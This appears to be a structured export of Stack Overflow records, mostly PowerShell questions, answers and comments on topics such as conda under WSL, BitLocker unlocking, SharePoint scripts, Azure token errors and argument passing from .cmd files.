tags question: http://stackoverflow.com/q/79119453
tags question: http://stackoverflow.com/q/79195703
tags question: http://stackoverflow.com/q/79196182
tags question: http://stackoverflow.com/q/79227113
tags question: http://stackoverflow.com/q/79134985
type: Tag
tags question: http://stackoverflow.com/q/79164514
tags question: http://stackoverflow.com/q/79295854
tags question: http://stackoverflow.com/q/79397722
tags question: http://stackoverflow.com/q/79249450
tags question: http://stackoverflow.com/q/79297680
tags question: http://stackoverflow.com/q/79278902
tags question: http://stackoverflow.com/q/79256553
tags question: http://stackoverflow.com/q/79401172
tags question: http://stackoverflow.com/q/79506247
tags question: http://stackoverflow.com/q/79529743
tags question: http://stackoverflow.com/q/79499690
tags question: http://stackoverflow.com/q/79502132
tags question: http://stackoverflow.com/q/79422920
tags question: http://stackoverflow.com/q/79487796
tags question: http://stackoverflow.com/q/79531097
tags question: http://stackoverflow.com/q/79422122
tags question: http://stackoverflow.com/q/79475426
tags question: http://stackoverflow.com/q/79546535
tags question: http://stackoverflow.com/q/79422044
tags question: http://stackoverflow.com/q/79446811

http://stackoverflow.com/comment/139598865
type: Comment
comment on: http://stackoverflow.com/q/79166949
has text: What PowerShell command?
score: 0
type: QuestionComment

http://stackoverflow.com/comment/139808105
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79244293
has text: Have you tried the above way? @GJ-Hardie

http://stackoverflow.com/comment/139477527
comment on: http://stackoverflow.com/q/79100678
type: QuestionComment
type: Comment
has text: Your original question showed your coding attempt which is desired by stackoverflow posts. Although the code was written by chatgpt this code is allowed in the question as long as the question itself is not written by chatgpt per [Should we flag human-written questions that use code generated by ChatGPT?](https://meta.stackoverflow.com/questions/422439/should-we-flag-human-written-questions-that-use-code-generated-by-chatgpt/422440#422440)
score: 1

http://stackoverflow.com/comment/139711969
score: 1
type: AnswerComment
has text: I sorted it out, I was setting the date as dd/MM/yyyy when it should have been MM/dd/yyyy. Thank you for your help on this post.
comment on: http://stackoverflow.com/a/79227179
type: Comment

http://stackoverflow.com/comment/139661261
type: Comment
score: 0
has text: Unfortunately that does not appear to be the way that they are executed on the remote; it seems to require authentication for each call of user@remote: .
comment on: http://stackoverflow.com/a/79198109
type: AnswerComment

http://stackoverflow.com/q/79140018
type: AnsweredQuestion
has body: I have Anaconda installed in Windows 11 under C:\Users\user\anaconda3. I also have WSL. I am trying to run conda --version in both Powershell and the WSL terminal and in both cases I am getting an error that conda is not a command. In Windows I added C:\Users\user\anaconda3 to my user path variables and that did not work. I have a .bashrc file in both my Linux home directory and in C:\Users\user. In the Linux file I added the line export PATH="/mnt/c/Users/user/anaconda3:$PATH" and typed source .bashrc in the WSL terminal while in the Linux home directory. In the Windows .bashrc file I added the line export PATH="anaconda3:$PATH". Neither of those worked. I looked at this solution: Windows Subsystem for Linux - conda: command not found. I tried the solution of running conda.exe in both terminals (Powershell and bash) and got the same error. I tried the solution of running .anaconda3/bin/conda init and not only does my .anaconda3 not have a bin directory, running that command gives me the same error in both terminals. I tried the solution to navigate to home/{your user name}/anaconda3/bin but Anaconda is installed in Windows, not Linux, and my anaconda3 doesn't have a bin directory. I tried Googling whether I need to just install Anaconda in WSL and I was only able to find this page: https://www.reddit.com/r/learnpython/comments/1ckbbya/what_would_happen_if_i_installed_anaconda_on_wsl/#:~:text=Installing%20Anaconda%20on%20WSL%202,stick%20with%20the%20native%20install., which doesn't really say explicitly that I have to install Anaconda in WSL, especially since I want to run conda while in a Windows directory. I tried following the instructions to install Anaconda in WSL at this site: https://gist.github.com/kauffmanes/5e74916617f9993bc3479f401dfec7da. I added export PATH="anaconda3:$PATH" to the .bashrc file in my Linux home directory and ran source .bashrc while in that directory. Then tried running conda --version while in that directory in bash and got the same er…
has title: `conda --version` command not working in Powershell or WSL bash
has answer: http://stackoverflow.com/a/79142529
score: 0
tagged with: path-variables
accepted answer: http://stackoverflow.com/a/79142529
tagged with: windows-subsystem-for-linux
tagged with: conda
answer count: 2
has answer: http://stackoverflow.com/a/79140197
linked to: http://stackoverflow.com/q/53805965
type: Question
possible better answer: http://stackoverflow.com/a/79140197
tagged with: powershell

http://stackoverflow.com/q/79193883
tagged with: powershell
has comment: http://stackoverflow.com/comment/139651490
accepted answer: http://stackoverflow.com/a/79196055
has answer: http://stackoverflow.com/a/79196055
downvote count: 0
answer count: 1
tagged with: shell
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/44824972
has comment: http://stackoverflow.com/comment/139651260
upvote count: 1
has title: Cannot convert the value of type "System.String" to type "System.Security.SecureString" but only in PS 7.4.6 but not in PS 5.1
favorite count: 0
tagged with: windows
score: 1
tagged with: command-line
type: Question
has body: I made a script to unlock bitlocker volumes using the password manager autotype feature instead of the clipboard. It uses gsudo and needs some features available only in 7.4. $DriveLetter = Read-Host "Drive letter" $DriveLetter = ($DriveLetter + ":") $EncUserCredential = Read-Host "Enter Password" -AsSecureString | ConvertFrom-SecureString gsudo pwsh.exe -CommandWithArgs '`$parm1 = ConvertTo-SecureString -String `$args[1]; Unlock-Bitlocker -MountPoint `$args[0] -Password `$parm1' $DriveLetter $EncUserCredential When I run the script directly in a 7.4.6 shell I get: Drive letter: w Enter Password: ******************** Unlock-BitLocker: Cannot process argument transformation on parameter 'Password'. Cannot convert the value of type "System.String" to type "System.Security.SecureString". Conversely, if I run it in 5.1 (7.4 is invoked later in the script) it works, why? This forces me to keep 5.1 as the default powershell for my terminal, not a big deal but still... Also, the policy for unsigned scripts is only applied to 5.1, it seems to me that this makes the setting somewhat less relevant.

http://stackoverflow.com/comment/139682334
comment on: http://stackoverflow.com/a/79212301
score: 1
type: AnswerComment
has text: @KJ that file is seen as text using this approach, not sure if that's expected or not
type: Comment

http://stackoverflow.com/q/79138741
has title: Powershell script - Get all IP addresses and ports from Network Policy
tagged with: powershell
score: 0
type: UnansweredQuestion
has body: After a long while im back into powershell and it seems i forgot almost everything. My problem is, how to write a powershell script to get all network policies, all IP addreses and ports, than check all IP addresses on a remote mail server and compare them all. The reason for this construct is, that IP addresses on the mail server change often and i need to send an email in case this happened so i can edit my network policy. The script should check all IPs and ports in the network policy, list them, than check all IP addresses on the remote mail server and compare them with the entries in the NP and in case IPs changed, send a mail for notification. So far i tried ()its in a pipeline): - task: Kubernetes@1 displayName: Login to <my CaaS Cluster> inputs: connectionType: 'Kubernetes Service Connection' kubernetesServiceEndpoint: 'CaaS' namespace: '<my_namespace>' command: 'login' - task: PowerShell@2 displayName: NP List inputs: targetType: 'inline' script: | echo "List of network policies:" kubectl get networkpolicy -n <my_namespace> - task: PowerShell@2 displayName: e-mail server IPs inputs: targetType: 'inline' script: | echo "List e-mail server IP addresses." nslookup <remote_mail_server> <namespace1>,<networkpolicyName1>,<port1>,<hostname1>;<namespace2>,<networkpolicyName2>,<port2>,<hostname2>;<namespaceN>,<networkpolicyNameN>,<portN>,<hostnameN> Format: hostname:port
type: Question
answer count: 0

http://stackoverflow.com/a/79124386
answers question: http://stackoverflow.com/q/79109947
score: 0
has body: I found a workaround: Configure Visual Studio Code to debug the script by 'attaching to host process' like this: { "version": "0.2.0", "configurations": [ { "name": "PowerShell Attach to Host Process", "type": "PowerShell", "request": "attach" }, ... ... then start an elevated Powershell prompt and run the script. Add a Read-Host somewhere in the script to allow for debugger to attach. While script waiting on Read-Host attach to it from Visual Studio Code. Voila - now you debugging Powershell script that demand Administrative rights. P.S. It doesn't not matter if you started VSCode as admin or not
type: Answer

http://stackoverflow.com/comment/139705499
type: QuestionComment
type: Comment
score: 0
has text: Are you still facing the issue. @Shuzheng
comment on: http://stackoverflow.com/q/79223169

http://stackoverflow.com/comment/139741173
score: 0
has text: Is the issue solved for you. @Shuzheng
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79230072

http://stackoverflow.com/a/79074166
accepted answer of: http://stackoverflow.com/q/79074164
has body: Python's bundled venv module (v3.4+), as of v3.12.3, has a bug that prevents it from working properly in directories whose names contain [ / ] in PowerShell. These characters are metacharacters (characters with special meaning) in PowerShell wildcard expressions, and arguments passed to the -Path parameter (which is also the first positional parameter) of file system-related cmdlets such as Get-Item and Get-ChildItem are interpreted as wildcard expressions. To ensure verbatim interpretation of a path, use the -LiteralPath parameter instead. You have two workaround options: Bypass the problem by avoiding [ / ] in your project directory names. Manually fix ./Scripts/bin/Activate.ps1 once your project has been initialized with python -m venv ./Scripts. To do so, replace the line $VenvExecDir = Get-Item -Path $VenvExecPath with $VenvExecDir = Get-Item -LiteralPath $VenvExecPath
upvote count: 5
answers question: http://stackoverflow.com/q/79074164
score: 5
downvote count: 0
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/139638481
type: Comment
comment on: http://stackoverflow.com/a/79188739
score: 0
has text: Thanks Mathias. I'm going to test.
type: AnswerComment

http://stackoverflow.com/comment/139448724
type: Comment
comment on: http://stackoverflow.com/q/79085285
score: 0
type: QuestionComment
has text: rather lack of knowledge or basic knowledge how to do it

http://stackoverflow.com/q/79119175
has answer: http://stackoverflow.com/a/79237114
tagged with: office-online-server
has title: How can I detect if a document is successfully rendered in Office Online Server using PowerShell?
score: 0
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79237114
has comment: http://stackoverflow.com/comment/139513157
has comment: http://stackoverflow.com/comment/139511023
type: Question
has body: I am able to pick a document of my choosing from a SharePoint document library using web API calls and send it for rendering. function Get-SpOosDocumentResponse { [CmdletBinding()] param ( [string]$SiteCollectionUrl, [string]$DocLibraryName, [string]$FolderPath = '.', [string]$DocumentName ) $RestApiUrl = "$SiteCollectionUrl/_api/web/GetFolderByServerRelativeUrl" + "('$DocLibraryName/$FolderPath')/Files" $ShpFolderResponse = Invoke-RestMethod ` -Uri $RestApiUrl ` -UseDefaultCredentials ` -Method Get ` -Headers @{ "Accept" = "application/json;odata=verbose" } $Files = $ShpFolderResponse.d.results $DocId = $Files | where Name -eq $DocumentName | select UniqueId if (!$DocId) { Write-Error "$DocumentName not found." -ErrorAction Stop } $WopiUrl = "$SiteCollectionUrl/_layouts/WopiFrame2.aspx" + "?sourcedoc={$DocId}&action=view" $WopiResponse = Invoke-WebRequest -Uri $WopiUrl -UseDefaultCredentials return $WopiResponse } But I can't find any good way to analyze the response if the rendering was successful, using PowerShell, since the rendering seems to be taking place in the web browser with the use of javascript. I can't even detect if the WOPI-bindings are broken, using client-side access, since still no errors are generated that I'm able to detect.
answer count: 1
tagged with: sharepoint
type: AnsweredQuestion

http://stackoverflow.com/comment/139702503
type: Comment
comment on: http://stackoverflow.com/q/79224521
score: 0
has text: @Olaf Thank you for your response. I removed the version specific powershell tags. Here is what I'm trying to achieve. Octopus is the orchestrator - Run a ps1 command on a remote server (Step1) - Execute a bunch of other stuff, deployments etc - Run another ps1 from the same window as Step1
type: QuestionComment

http://stackoverflow.com/comment/139621098
comment on: http://stackoverflow.com/a/79177773
score: 0
type: AnswerComment
has text: Not using WinForms in your solution isn't a selling point: your solution is more verbose and complex, and incurs a compilation penalty due to use of embedded C# code - and it is incomplete, as mentioned.
type: Comment

http://stackoverflow.com/comment/139533127
type: AnswerComment
has text: Hmm. I see that the bug you mention regarding ignoring the syntax error has been around for four years now.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79131379

http://stackoverflow.com/comment/139661927
score: 3
has text: Please [edit] the question and add the code that you tried into it. Without that you may not get much help. Also please see **[ask]**.
comment on: http://stackoverflow.com/q/79201757
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79188495
type: Answer
score: 3
has comment: http://stackoverflow.com/comment/139640439
upvote count: 3
answers question: http://stackoverflow.com/q/79188413
has body: Instead of trying to parse already-formatted output from net view, consider fetching the info directly from WMI: PS ~&gt; Get-CimInstance Win32_Share Name Path Description ---- ---- ----------- ADMIN$ C:\Windows Remote Admin C$ C:\ Default share IPC$ Remote IPC PS ~&gt; Get-CimInstance Win32_Share |ForEach-Object Name ADMIN$ C$ IPC$
has comment: http://stackoverflow.com/comment/139640450
downvote count: 0

tfs
type: Tag
tag name: tfs
tags question: http://stackoverflow.com/q/79079754
tags question: http://stackoverflow.com/q/79401658

http://stackoverflow.com/q/79181232
tagged with: azure-functions
has answer: http://stackoverflow.com/a/79181769
accepted answer: http://stackoverflow.com/a/79181769
type: Question
answer count: 1
has title: How can I get the list of actions supported by a resource for use with Invoke-AzResourceAction PowersShell command?
type: AnsweredQuestion
has body: Consider the following PowerShell command taken from here: Get-AzResource -Name RESOURCE-NAME | Invoke-AzResourceAction -Action host/default/listkeys -Force I'm trying to figure out how to action host/default/listkeys was determined. The help information for Invoke-AzResourceAction says: DESCRIPTION The Invoke-AzResourceAction cmdlet invokes an action on a specified Azure resource. To get a list of supported actions, use the Azure Resource Explorer tool. So, I went to the Azure Resource Explorer tool (see below). But the operations clearly don't match the -Action above. How can I figure out actions myself to use with Invoke-AzResourceAction?
score: 0
tagged with: powershell
tagged with: azure

http://stackoverflow.com/q/79202910
has comment: http://stackoverflow.com/comment/139666471
has title: Slow PowerShell script performance optimalisation
has body: I try to loop into all SharePoint sites, libraries, folders and documents and check which one are shared with more as 50 members. This script is very slow at this moment. Does someone have some PowerShell performance optimalisation tips? The bigest problem is I think the part where I need to loop into all folders and documents. Some sites have thousands of documents. function LogEntry($logentry) { $moment = get-date -f "yyyy-MM-dd HH:mm" Write-Host "$moment $logentry" "$moment $logentry" | out-file -append $transcriptLogFileFullPath } function countInheritedPermissionFiles { param ( [Microsoft.SharePoint.Client.ClientObject]$folder, [string]$listName ) $folderItems = Get-PnPFolderItem -Identity $folder foreach($folderItem in $folderItems) { if($folderItem.TypedObject.ToString() -eq "Microsoft.SharePoint.Client.Folder") { $folderByPnP = Get-PnPFolder -Url $folderItem.ServerRelativeUrl -Includes ListItemAllFields.HasUniqueRoleAssignments, Folders if(!$folderByPnP.ListItemAllFields.HasUniqueRoleAssignments) { countInheritedPermissionFiles $folderByPnP $listName } } else { $item = Get-PnPListItem -List $listName -UniqueId $folderItem.UniqueId $HasUniquePermissions = Get-PnPProperty -ClientObject $item[0] -Property "HasUniqueRoleAssignments" if(!$HasUniquePermissions) { $global:inheritedPermissionsFileCount ++ } } } } function getPermissions($_object) { # make arrays empty $global:permissionUsers = @() $global:permissionType = @() $global:permissionLevels = @() $roleAssignments = Get-PnPProperty -ClientObject $_object -Property RoleAssignments #Loop through each permission assigned and extract details Foreach($roleAssignment in $_object.RoleAssignments) { #Get the Permission Levels assigned and Member Get-PnPProperty -ClientObject $roleAssignment -Property RoleDefinitionBindings, Member if($roleAssignment.Member.LoginName -notlike "*Limited Access*" -and $roleAssignment.RoleDefinitionBindings[0].Name -notlike "*Beperkte toegang*" -and $roleAssignment.RoleDefinitionBindin…
tagged with: performance
has comment: http://stackoverflow.com/comment/139664127
has comment: http://stackoverflow.com/comment/139699454
type: Question
has comment: http://stackoverflow.com/comment/139664239
has comment: http://stackoverflow.com/comment/139666494
answer count: 0
has comment: http://stackoverflow.com/comment/139664843
tagged with: powershell
score: 0
has comment: http://stackoverflow.com/comment/139664300
type: UnansweredQuestion

http://stackoverflow.com/a/79098668
type: Answer
answers question: http://stackoverflow.com/q/79098593
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/79098593
has body: PowerShell can convert a ScriptBlock {...} into a DebitTransactionStatus delegate in this case, updating the code a bit for the demo so it's compatible with C# 5 and compiles in Windows PowerShell 5.1. Add-Type @' namespace BankSystem { public class BankBalance { private int _balance = 1000; public int Balance { get { return _balance; } set { _balance = value; } } // Define a delegate that informs the caller about the transaction status public delegate void DebitTransactionStatus(string message); public void DebitTransaction( int Debit, DebitTransactionStatus debitTransactionStatus) { if (Balance >= Debit) { Balance -= Debit; debitTransactionStatus("Amount is Debited Successfully"); return; } debitTransactionStatus("Not enough balance to perform debit operation"); } } } '@ $balance = [BankSystem.BankBalance]::new() $balance.DebitTransaction(1000, { param($message) Write-Host $message }) # Amount is Debited Successfully $balance.DebitTransaction(1000, { param($message) Write-Host $message }) # Not enough balance to perform debit operation If you have it already compiled you can use Add-Type targeting the path to your assembly instead of embedding the C# code, for example: Add-Type -Path path\to\myAssembly.dll $balance = [BankSystem.BankBalance]::new() $balance.DebitTransaction(1000, { param($message) Write-Host $message }) # Amount is Debited Successfully $balance.DebitTransaction(1000, { param($message) Write-Host $message }) # Not enough balance to perform debit operation Newer versions of PowerShell 7 will also allow you to pass-in a PSMethod as your delegate: class DebitTransaction { static [void] ShowDebitTransactionStatus([string] $message) { [System.Console]::WriteLine($message) } } $balance = [BankSystem.BankBalance]::new() $balance.DebitTransaction(1000, [DebitTransaction]::ShowDebitTransactionStatus) # Amount is Debited Successfully $balance.DebitTransaction(1000, [DebitTransaction]::ShowDebitTransactionStatus) # Not enough balance to perform debit operatio…
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/139541070
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79133066
has text: I have been testing this - both with Powershell and using the Azure CLI commands - unfortunately - using the above - when I try to run it - I am getting a 403 error

http://stackoverflow.com/comment/139512026
comment on: http://stackoverflow.com/q/79111405
type: QuestionComment
type: Comment
score: 0
has text: As an aside: To synchronously execute console applications or batch files in the current console (terminal), call them _directly_ (`some.exe` or `c:\path\to\some.exe ...` or `& 'c:\path with spaces\to\some.exe' ...` or `& $exePathStoredInVariable ...`). This also allows you to capture their output directly and to later query their exit code via `$LASTEXITCODE`. Do _not_ use `Start-Process` (or the `System.Diagnostics.Process` API it is based on). See [this answer](https://stackoverflow.com/a/51334633/45375) and [this guidance](https://github.com/MicrosoftDocs/PowerShell-Docs/issues/6239).

http://stackoverflow.com/q/79127406
has answer: http://stackoverflow.com/a/79127640
has answer: http://stackoverflow.com/a/79128346
score: 3
upvote count: 3
accepted answer: http://stackoverflow.com/a/79128346
tagged with: git
favorite count: 0
type: Question
has body: I am trying perform a git log using this git log "Version_10.1.18.1...Version_10.1.18" --format="%s" for just the` subject in the commit messages like these Merged PR 17055: 94683: Add back in Treat Warnings as Errors Merged PR 17054: #94658: Add OwnerInfo to address data when multiple locations returned by LPS. TIA I am using the following regex to strip out the colons and Text Merged PR $regex = '[:]|(Merged PR)' # Regex to match commit hashes $log= $gitHist -replace $regex, "" so that it looks like this 17055 94683 Add back in Treat Warnings as Errors 17054 #94658 Add OwnerInfo to address data when multiple locations returned by LPS. Next, I would like to grab just the Work item number i.e. 94658, etc. and place into a variable. Is this possible with regex in powershell?
possible better answer: http://stackoverflow.com/a/79127475
answer count: 3
tagged with: regex
has answer: http://stackoverflow.com/a/79127475
downvote count: 0
type: AnsweredQuestion
has title: Powershell regex for string in git commit subject
tagged with: powershell

http://stackoverflow.com/comment/139594257
type: Comment
has text: Unfortunately, that didn't seem to change anything.
score: 0
comment on: http://stackoverflow.com/a/79164682
type: AnswerComment

http://stackoverflow.com/q/79223169
has comment: http://stackoverflow.com/comment/139712267
has answer: http://stackoverflow.com/a/79230072
has body: I sign-in with Azure CLI and Azure PowerShell module using azure/login@v2 with enable-AzPSSession: true. It works, and I'm able to deploy infrastructure using Bicep. However, the Grant-ServiceAccess.ps1 script fails in the following call: Get-AzAccessToken -ResourceTypeName MSGraph -AsSecureString The error says that the client assertion is not valid, as it has expired. It's only valid for 5 minutes, like it's the case for GitHub Actions OIDC token: https://github.com/Azure/login/issues/441 Why does Get-AzAccessToken try to sign-in again, when I have already signed-in using the Azure Powershell module, and why does it try to sign-in using the GitHub OIDC token? How can I use the current authenticated Aure PowerShell module session to request a token for MS Graph? Error: Get-AzAccessToken: /home/runner/work/X/Y/infra/scripts/Grant-ServiceAccess.ps1:15 Line | 15 | … ccessToken (Get-AzAccessToken -ResourceTypeName MSGraph -AsSecureStri … | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | ClientAssertionCredential authentication failed: A configuration issue | is preventing authentication - check the error message from the server | for details. You can modify the configuration in the application | registration portal. See https://aka.ms/msal-net-invalid-client for | details. Original exception: AADSTS700024: Client assertion is not | within its valid time range. Current time: 2024-11-25T12:29:03.7085596Z, | assertion valid from 2024-11-25T12:14:19.0000000Z, expiry time of | assertion 2024-11-25T12:19:19.0000000Z. Review the documentation at | https://learn.microsoft.com/entra/identity-platform/certificate-credentials . Trace ID: 94218eb9-8060-4a83-81a3-6d1dfac32d00 Correlation ID: f7f38824-7ca7-4c40-a39c-3bfe12944db4 Timestamp: 2024-11-25 12:29:03Z GitHub Actions: deploy-infra: name: Deploy infrastructure runs-on: ubuntu-latest environment: ${{ inputs.environment }} needs: validate-infra outputs: functionAppId: ${{ steps.deploy-output.outputs.functionAppId }}…
has comment: http://stackoverflow.com/comment/139711629
has comment: http://stackoverflow.com/comment/139711575
tagged with: powershell
tagged with: github-actions
type: UnansweredQuestion
tagged with: azure
tagged with: microsoft-graph-api
has comment: http://stackoverflow.com/comment/139705499
score: 0
has title: Get-AzAccessToken tries to authenticate using federated credentials (OIDC token), despite having signed in using azure/login and enable-AzPSSession
has comment: http://stackoverflow.com/comment/139706434
has comment: http://stackoverflow.com/comment/139706443
has comment: http://stackoverflow.com/comment/139711920
type: Question
has comment: http://stackoverflow.com/comment/139710712
has comment: http://stackoverflow.com/comment/139711627
has comment: http://stackoverflow.com/comment/139711954
answer count: 1

http://stackoverflow.com/comment/139705363
score: 1
type: QuestionComment
has text: @askolotl Check the below answer.
type: Comment
comment on: http://stackoverflow.com/q/79225874

http://stackoverflow.com/comment/139630727
comment on: http://stackoverflow.com/q/79183970
has text: Consider using the Azure Key vault task to retrieve secrets, instead of doing it programmatically.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79105813
has comment: http://stackoverflow.com/comment/139486381
answer count: 0
tagged with: powershell
tagged with: project-idx
score: 0
tagged with: nix
has body: I am new to the world of coding and am not super duper technical. I will try to be as thorough as possible. I am doing a AWS course and am saving some scripts to a github repo that I am using Project IDX to update. I installed Powershell in the nix file and am able to open it in vscode but for some reason everytime I type something it begins adding additional letters and is not following my input at all. For example if I wanted to write the word clear, this is what would appear: cclclecleaclear I installed the Powershell Vscode extension in hopes that its configurations would fix it and unfortunately no luck. The nix package installer has it running 7.4.0. Keep in mind: -All other shells are working fine -Keyboard is working fine Please let me know if anybody has any suggestions or potentially even came across this. Thanks! I already tried clearing the cache and rebuilding the environment and still no luck.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139490236
tagged with: visual-studio-code
type: Question
has title: How do I fix powershell input error on vscode?

http://stackoverflow.com/q/79209426
answer count: 1
type: AnsweredQuestion
score: 2
tagged with: powershell
tagged with: cmd
favorite count: 0
has answer: http://stackoverflow.com/a/79211416
linked to: http://stackoverflow.com/q/59036580
accepted answer: http://stackoverflow.com/a/79211416
has body: I have an executable that receives a number of command line arguments and I want to write a .cmd that performs a few checks and then passes on all the arguments to the executable. As an example, take the executable echo_args.exe which is this Rust app: use std::env; fn main() { // Collect the command line arguments into a vector let args: Vec<String> = env::args().collect(); // Iterate over the arguments and print each one for arg in args.iter() { println!("{}", arg); } } The fact that it's Rust has no bearing on the question, but this way you can reproduce my situation. Calling this app directly from PowerShell: echo_args.exe "hello `"`"world`"`"" Prints, as expected: echo_args.exe hello ""world"" Calling this app directly from Command Prompt: echo_args.exe "hello """"world""""" Prints, as expected: echo_args.exe hello ""world"" In both cases, a correct way of escaping double quotes is used, appropriate to the command processor. However, if I write a test.cmd file, I run into the problem that it behaves differently when called from PowerShell or from Command Prompt. The naive solution is: @echo off set exe=echo_args.exe "%exe%" %* And although that works when called from Command Prompt: test "hello """"world""""" It does not from PowerShell because: test "hello `"`"world`"`"" Now prints: echo_args.exe hello "world" Note that the double quotes get 'eaten' by the command processor running the .cmd (i.e. cmd.exe). So, Powershell passes on the hello ""world"" to cmd.exe (like it would to echo_args.exe) and cmd.exe dedupes the double quotes and passes hello "world" to the .exe. Now, I realise that I can avoid this by also writing a test.ps1 that performs the same function, so that the .cmd does not get called from PowerShell, and for practical purposes that is fine, but my question is this: is there a way to write the .cmd so that it behaves correctly, regardless if it is started with cmd.exe automatically with PowerShell, or if it is found and executed from Command Pro…
tagged with: windows
type: Question
has title: Passing through arguments from a .cmd to a .exe
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/139958585
score: 0
comment on: http://stackoverflow.com/q/79173069
type: QuestionComment
has text: @trincot, fyi: I have completely revised the question and answer.
type: Comment

http://stackoverflow.com/q/79222331
has comment: http://stackoverflow.com/comment/139698732
tagged with: powershell
answer count: 1
has comment: http://stackoverflow.com/comment/139698583
score: 0
type: UnansweredQuestion
has title: Format-Volume in PowerShell script output at the end of the whole script
type: Question
has body: The following is the code of test.ps1: Write-Host "Message before Format-Volume" Format-Volume -DriveLetter I -FileSystem exFAT -AllocationUnitSize 131072 Write-Host "Message after Format-Volume" And the output: PS C:\Users\user> E:\Scripts\test.ps1 Message before Format-Volume Message after Format-Volume DriveLetter FriendlyName FileSystemType DriveType HealthStatus OperationalStatus SizeRemaining Size ----------- ------------ -------------- --------- ------------ ----------------- ------------- ---- I exFAT Removable Healthy OK 115.44 GB 115.45 GB As you can see the order of output is not the same as the code. Why? How to make sure the order is correct? What I've tried: Use Start-Job/Receive-Job to quote Format-Volume What was I expecting? The result of Format-Volume should be displayed at the middle.
has answer: http://stackoverflow.com/a/79222375

http://stackoverflow.com/a/79162761
has body: You can either use the , comma operator: In expression mode, as a unary operator, the comma creates an array with just one member. $Strings = @('a b c', 'd e f') $Sep = ' ' $result = $Strings | ForEach-Object { , ($_ -split $Sep) } $result[0] # a # b # c $result[1] # d # e # f Or Write-Output -NoEnumerate: The NoEnumerate parameter suppresses the default behavior, and prevents Write-Output from enumerating output. $Strings = @('a b c', 'd e f') $Sep = ' ' $result = $Strings | ForEach-Object { Write-Output ($_ -split $Sep) -NoEnumerate } $result[0] # a # b # c $result[1] # d # e # f
answers question: http://stackoverflow.com/q/79162738
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79162738
type: Answer
downvote count: 0
score: 3
upvote count: 3

http://stackoverflow.com/comment/139617292
type: Comment
comment on: http://stackoverflow.com/q/79176779
score: 0
has text: No, the resolution of the hole Screen.
type: QuestionComment

http://stackoverflow.com/q/79075932
tagged with: invoke-command
accepted answer: http://stackoverflow.com/a/79079716
has title: Use Invoke-Command create new user with secure password on remote client
tagged with: powershell
answer count: 1
type: AnsweredQuestion
score: 0
has body: I am struggling to resolve what should be a simple thing. I am looping through a list of computers $bcs for each $bc in $bcs. I run the command below to remotely create the user account with the password you see, with out issue. Invoke-Command -ComputerName $bc.Name -ScriptBlock {New-LocalUser -Name "User1" -Password (ConvertTo-SecureString 'Thisisapassword@' -AsPlainText -Force) -FullName "User One" -Description "User Create"} Now I want to hide the pw in a ps file for use, so it's not easily seen. My issue is if I put the password in $pw let say and then use $pw in place of the password location in the command it fails. The BC I'm running on has no clue what $pw is. Ok so I build a $command = variable for the whole thing and invoke $command. Still fails. I am just not seeing the obvious ForEach($bc in $bcs) { $command = "New-LocalUser -Name 'User1' -Password (ConvertTo-SecureString $pw -AsPlainText -Force) -FullName 'User One' -Description 'User Create'" Invoke-Command -ComputerName $bc.Name -ScriptBlock $command }
has comment: http://stackoverflow.com/comment/139431590
type: Question
has answer: http://stackoverflow.com/a/79079716

http://stackoverflow.com/q/79244326
has comment: http://stackoverflow.com/comment/139737987
has comment: http://stackoverflow.com/comment/139737837
has comment: http://stackoverflow.com/comment/139737796
type: Question
tagged with: memory
answer count: 1
tagged with: recursion
tagged with: out-of-memory
tagged with: powershell
has answer: http://stackoverflow.com/a/79244588
score: 0
has comment: http://stackoverflow.com/comment/139737606
type: UnansweredQuestion
has title: PowerShell : performance for parsing folders with huge amount of files
has body: I have written a script to purge older files of our archives folders that may have 10 to 150 thousands files the context of the script, I don't know the depht of each folder but, at the end there are formated folder named "AAAA-MM" and in each of these, a folder per day named "DD", so the solution was to concatenate the folder name to get a date. that is ok, But. I can see that even if the recurse is not opening "day folder", the script generate this error : PS>TerminatingError(Get-ChildItem): "Exception of type 'System.OutOfMemoryException' was thrown." when it parse folder with huge folder, even if it should not open or parse or doing anything else than getting the name of 31 folders at worst I may have done an error in the script ? Maybe there is a way to empty the memory each recurse ? could you help me on this point ? thanks. here is my recurse code function Recursive-FolderSearch { param ( [string[]]$Paths, [string]$expiredDate ) foreach ($Path in $Paths) { $now = Get-Date -format "yyyy-MM-dd HH:mm:ss" Write " - $now : $Path" >> $dailyLog if ((Test-Path $Path -PathType Container) -and (Split-Path $Path -Leaf) -match '^\d{4}-\d{2}$') { $folderDays = Get-ChildItem -Path $Path -Directory foreach ($folderDay in $folderDays) { if ($folderDay.Name -match '^\d{2}$') {# if folder respect format DD # concat folder AAAA-MM and folder format DD to get complete date $dateDossier = [datetime]::ParseExact("$(Split-Path $Path -Leaf)-$($folderDay.Name)", "yyyy-MM-dd", $null) if ($dateDossier -lt $expiredDate) { #compare folder date with actual date # then suppress folder if older than requested Remove-Item -Path $folderDay.FullName -Recurse -Force -ErrorAction SilentlyContinue } } } #Supprimer le dossier AAAA-MM s'il est vide if (-not (Get-ChildItem -Path $Path -Force -Recurse -ErrorAction SilentlyContinue )) { #| Where-Object { $_. PSIsContainer -eq $true } Remove-Item -Path $Path -Force -Recurse -ErrorAction SilentlyContinue } } elseif (Test-Path $Path -PathType Container) …
tagged with: performance

http://stackoverflow.com/comment/139580854
type: QuestionComment
has text: Are you still facing the issue? @Hayaaaaaa
type: Comment
comment on: http://stackoverflow.com/q/79104926
score: 0

http://stackoverflow.com/q/79181031
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139624642
has comment: http://stackoverflow.com/comment/139624640
favorite count: 0
has comment: http://stackoverflow.com/comment/139624463
has comment: http://stackoverflow.com/comment/139624545
has answer: http://stackoverflow.com/a/79181231
